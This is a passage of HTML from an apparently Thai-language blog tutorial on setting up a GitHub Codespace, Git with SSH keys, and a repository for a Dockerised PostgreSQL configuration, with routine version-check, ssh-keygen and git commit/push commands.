https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-08-at-11.08.21.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.08.21.png 2214w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE01;&#xE14; New Codespace</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.09.06.png" class="kg-image" alt loading="lazy" width="2000" height="334" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-08-at-11.09.06.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-08-at-11.09.06.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-08-at-11.09.06.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.09.06.png 2202w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE35;&#xE48;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Codespace &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Repository &#xE40;&#xE1B;&#xE47;&#xE19; backend &#xE08;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE27;&#xE49; &#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Region &#xE41;&#xE25;&#xE30; Machine type &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Create codespace</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.15.12.png" class="kg-image" alt loading="lazy" width="1948" height="2328" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-08-at-11.15.12.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-08-at-11.15.12.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-08-at-11.15.12.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.15.12.png 1948w" sizes="(min-width: 720px) 720px"></figure><ul><li>Codespace &#xE08;&#xE30;&#xE40;&#xE1B;&#xE34;&#xE14; VS Code &#xE1A;&#xE19; Browser &#xE43;&#xE2B;&#xE49;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19; &#xE14;&#xE39; Version &#xE02;&#xE2D;&#xE07; OS &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>cat /etc/os-release</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.20.46.png" class="kg-image" alt loading="lazy" width="2000" height="1274" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-08-at-11.20.46.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-08-at-11.20.46.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-08-at-11.20.46.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-08-at-11.20.46.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Codespace &#xE41;&#xE25;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Code &#xE17;&#xE35;&#xE48; Seamless &#xE02;&#xE36;&#xE49;&#xE19; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07; Environment dev &#xE21;&#xE32;&#xE44;&#xE27;&#xE49;&#xE1A;&#xE19; Localhost &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE23;&#xE31;&#xE19; VS Code &#xE08;&#xE32;&#xE01;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE40;&#xE2D;&#xE07;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE49; Browser &#xE41;&#xE15;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE1B;&#xE34;&#xE14;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE15;&#xE48;&#xE32;&#xE07; VS Code &#xE1A;&#xE19; Browser &#xE01;&#xE48;&#xE2D;&#xE19; &#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE25;&#xE37;&#xE21;&#xE1B;&#xE34;&#xE14; &#xE0B;&#xE36;&#xE48;&#xE07; Github &#xE08;&#xE30;&#xE19;&#xE31;&#xE1A;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE0A;&#xE31;&#xE48;&#xE27;&#xE42;&#xE21;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49; Resource &#xE40;&#xE23;&#xE32;&#xE15;&#xE32;&#xE21; Quota &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; (&#xE21;&#xE35;&#xE17;&#xE31;&#xE49;&#xE07;&#xE41;&#xE1A;&#xE1A; Free Plan &#xE41;&#xE25;&#xE30; GitHub Pro)</p><ul><li>&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48;&#xE40;&#xE21;&#xE19;&#xE39; Codespace &#xE2D;&#xE35;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07; &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14;&#xE17;&#xE35;&#xE48;&#xE1B;&#xE38;&#xE48;&#xE21; 3 &#xE08;&#xE38;&#xE14;</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.30.47.png" class="kg-image" alt loading="lazy" width="1894" height="1204" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-08-at-11.30.47.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-08-at-11.30.47.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-08-at-11.30.47.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.30.47.png 1894w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Open in Visual Studio Code</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.32.07.png" class="kg-image" alt loading="lazy" width="540" height="746"></figure><ul><li>&#xE01;&#xE14; Allow</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.33.19.png" class="kg-image" alt loading="lazy" width="1612" height="1654" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-08-at-11.33.19.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-08-at-11.33.19.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-08-at-11.33.19.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.33.19.png 1612w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Open</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.34.19.png" class="kg-image" alt loading="lazy" width="2000" height="1549" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-08-at-11.34.19.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-08-at-11.34.19.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-08-at-11.34.19.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.34.19.png 2272w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE14;&#xE39; Version &#xE02;&#xE2D;&#xE07; Git &#xE41;&#xE25;&#xE30; Docker &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>git version

docker version</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.36.40.png" class="kg-image" alt loading="lazy" width="2000" height="1968" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-08-at-11.36.40.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-08-at-11.36.40.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-08-at-11.36.40.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.36.40.png 2388w" sizes="(min-width: 720px) 720px"></figure><h2 id="config-postgresql-%E0%B9%81%E0%B8%A5%E0%B8%B0-deploy-%E0%B8%9A%E0%B8%99-docker-container"><strong>Config PostgreSQL &#xE41;&#xE25;&#xE30; Deploy &#xE1A;&#xE19; Docker Container</strong></h2><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE41;&#xE1A;&#xE1A; Trunk-Based Development (TBD) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D; &#xE04;&#xE37;&#xE2D;</p><ul><li><strong>&#xE01;&#xE32;&#xE23; Commit &#xE41;&#xE25;&#xE30; Merge &#xE1A;&#xE48;&#xE2D;&#xE22; &#xE46;</strong> &#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE08;&#xE30; Commit &#xE41;&#xE25;&#xE30; Merge &#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE40;&#xE2D;&#xE07;&#xE40;&#xE02;&#xE49;&#xE32;&#xE01;&#xE31;&#xE1A; Trunk (Branch &#xE2B;&#xE25;&#xE31;&#xE01;) &#xE1A;&#xE48;&#xE2D;&#xE22;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07; &#xE2D;&#xE32;&#xE08;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE23;&#xE32;&#xE22;&#xE27;&#xE31;&#xE19;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE1A;&#xE48;&#xE2D;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19; &#xE01;&#xE32;&#xE23;&#xE23;&#xE27;&#xE21; Code &#xE1A;&#xE48;&#xE2D;&#xE22; &#xE46; &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE35;&#xE21;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE04;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE25;&#xE30;&#xE25;&#xE14;&#xE42;&#xE2D;&#xE01;&#xE32;&#xE2A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE34;&#xE14; Merge Conflicts &#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;</li><li><strong>&#xE02;&#xE19;&#xE32;&#xE14;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE25;&#xE47;&#xE01;&#xE41;&#xE25;&#xE30;&#xE41;&#xE15;&#xE01; Branch &#xE2A;&#xE31;&#xE49;&#xE19; &#xE46;</strong> &#xE43;&#xE19; TBD &#xE07;&#xE32;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE0A;&#xE34;&#xE49;&#xE19;&#xE04;&#xE27;&#xE23;&#xE08;&#xE30;&#xE40;&#xE25;&#xE47;&#xE01;&#xE1E;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE17;&#xE33;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE44;&#xE14;&#xE49;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE23;&#xE30;&#xE22;&#xE30;&#xE2A;&#xE31;&#xE49;&#xE19; &#xE46; &#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE41;&#xE15;&#xE01; Branch &#xE22;&#xE48;&#xE2D;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19;&#xE21;&#xE32;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19;&#xE1A;&#xE32;&#xE07;&#xE07;&#xE32;&#xE19; &#xE41;&#xE15;&#xE48; Branch &#xE22;&#xE48;&#xE2D;&#xE22;&#xE19;&#xE31;&#xE49;&#xE19;&#xE04;&#xE27;&#xE23;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE44;&#xE21;&#xE48;&#xE19;&#xE32;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE08;&#xE30; Merge &#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Trunk &#xE44;&#xE21;&#xE48;&#xE21;&#xE35; Branch &#xE23;&#xE30;&#xE22;&#xE30;&#xE22;&#xE32;&#xE27;</li></ul><p>&#xE42;&#xE14;&#xE22;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; userdatabase Repo &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A; Codebase &#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Config PostgreSQL &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>.
&#x251C;&#x2500;&#x2500; README.md
&#x251C;&#x2500;&#x2500; backup
&#x2502;   &#x251C;&#x2500;&#x2500; Dockerfile
&#x2502;   &#x2514;&#x2500;&#x2500; backup.sh
&#x251C;&#x2500;&#x2500; backups
&#x251C;&#x2500;&#x2500; docker
&#x2502;   &#x251C;&#x2500;&#x2500; Dockerfile
&#x2502;   &#x2514;&#x2500;&#x2500; init.sql
&#x251C;&#x2500;&#x2500; .env
&#x251C;&#x2500;&#x2500; .gitignore
&#x2514;&#x2500;&#x2500; docker-compose.yml</code></pre><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Folder <strong>userdatabase</strong> &#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Folder &#xE19;&#xE35;&#xE49;&#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Git &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>git init</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.59.35.png" class="kg-image" alt loading="lazy" width="2000" height="1726" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-08-at-11.59.35.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-08-at-11.59.35.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-08-at-11.59.35.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-08-at-11.59.35.png 2234w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; Github.com &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Git Repo &#xE0A;&#xE37;&#xE48;&#xE2D; <strong>userdatabase</strong> &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE0A;&#xE19;&#xE34;&#xE14; Repo &#xE41;&#xE1A;&#xE1A; Private &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Create repository</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-06.57.23.png" class="kg-image" alt loading="lazy" width="2000" height="2167" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-06.57.23.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-06.57.23.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-06.57.23.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-06.57.23.png 2084w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#x2003;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; SSH &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Copy URL</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-06.58.17.png" class="kg-image" alt loading="lazy" width="2000" height="2167" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-06.58.17.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-06.58.17.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-06.58.17.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-06.58.17.png 2084w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D; Codespace &#xE01;&#xE31;&#xE1A; Git Repo &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; git remote add origin &#xE15;&#xE32;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22; URL &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49; Copy &#xE21;&#xE32; &#xE40;&#xE0A;&#xE48;&#xE19;</li></ul><pre><code>git remote add origin git@github.com:promritn/userdatabase.git</code></pre><ul><li>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; SSH Key &#xE1A;&#xE19; Codespace &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Push &#xE41;&#xE25;&#xE30; Pull Code &#xE01;&#xE31;&#xE1A; Git Repo &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1B;&#xE49;&#xE2D;&#xE19; Username &#xE41;&#xE25;&#xE30; Password &#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;</li></ul><pre><code>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; ssh-keygen
ssh-keygen -t ed25519 -C &quot;your_email@example.com&quot;

&#xE41;&#xE2A;&#xE14;&#xE07; public key &#xE1A;&#xE19; Linux
cat ~/.ssh/id_ed25519.pub</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-08-at-1.23.28-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1335" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2024-11-08-at-1.23.28-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2024-11-08-at-1.23.28-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2024-11-08-at-1.23.28-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2024-11-08-at-1.23.28-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; cat ~/.ssh/id_ed25519.pub &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE2A;&#xE14;&#xE07; Public Key &#xE14;&#xE31;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;&#xE41;&#xE25;&#xE49;&#xE27; Copy &#xE44;&#xE27;&#xE49;</li></ul><pre><code>ssh-ed25519 ABCAC3NzaC1lZFI1NTE3AAAAIMmPOcXyJu+c/2Ork3pmgBU9FBl1iwxBr97Bh1MxI6sB nuttachot@hotmail.com</code></pre><ul><li>&#xE19;&#xE33; Public Key &#xE44;&#xE1B;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1A;&#xE19; Github Repo &#xE42;&#xE14;&#xE22;&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48;&#xE23;&#xE39;&#xE1B; Profile &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Your organizations &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE40;&#xE21;&#xE19;&#xE39; SSH and GPG keys &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; New SSH key</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-10-at-9.52.51-AM.png" class="kg-image" alt loading="lazy" width="630" height="1358" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2024-11-10-at-9.52.51-AM.png 600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-10-at-9.52.51-AM.png 630w"></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.27.03.png" class="kg-image" alt loading="lazy" width="2000" height="2167" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-07.27.03.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-07.27.03.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-07.27.03.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.27.03.png 2084w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D; userdatabase &#xE41;&#xE25;&#xE30;&#xE19;&#xE33; Public key &#xE17;&#xE35;&#xE48; Copy &#xE44;&#xE1B;&#xE27;&#xE32;&#xE07; &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14; Add SSH key</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-08-at-1.33.40-PM.png" class="kg-image" alt loading="lazy" width="1818" height="1804" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2024-11-08-at-1.33.40-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2024-11-08-at-1.33.40-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2024-11-08-at-1.33.40-PM.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-08-at-1.33.40-PM.png 1818w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE15;&#xE31;&#xE27;&#xE15;&#xE19;</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-08-at-1.35.45-PM.png" class="kg-image" alt loading="lazy" width="1818" height="1804" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2024-11-08-at-1.35.45-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2024-11-08-at-1.35.45-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2024-11-08-at-1.35.45-PM.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2024-11-08-at-1.35.45-PM.png 1818w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;&#xE17;&#xE35;&#xE48; Codespace &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; README.md &#xE43;&#xE19; Folder userdatabase</li></ul><pre><code>  touch README.md</code></pre><ul><li>&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D; PostgreSQL config &#xE41;&#xE1A;&#xE1A;&#xE2B;&#xE31;&#xE27;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A; 1 &#xE43;&#xE19;&#xE44;&#xE1F;&#xE25;&#xE4C; README.md &#xE14;&#xE49;&#xE27;&#xE22; Tag &#xE02;&#xE2D;&#xE07; Markdown &#xE41;&#xE25;&#xE49;&#xE27; Save</li></ul><pre><code># PostgreSQL config
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.41.53.png" class="kg-image" alt loading="lazy" width="2000" height="1476" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-07.41.53.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-07.41.53.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-07.41.53.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/11/Screenshot-2567-11-09-at-07.41.53.png 2400w" sizes="(min-width: 720px) 720px"></figure><ul><li>Commit &#xE40;&#xE02;&#xE49;&#xE32; Git &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>git add .

git commit -m &apos;first commit&apos;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.45.58.png" class="kg-image" alt loading="lazy" width="1730" height="478" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-07.45.58.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-07.45.58.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-07.45.58.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.45.58.png 1730w" sizes="(min-width: 720px) 720px"></figure><ul><li>Push Code &#xE17;&#xE35;&#xE48; Commit &#xE02;&#xE36;&#xE49;&#xE19; Github Server</li></ul><pre><code>git push origin main</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-07.48.13.png" class="kg-image" alt loading="lazy" width="1722" height="438" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-07.48.13.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-07.48.13.png 1000w, 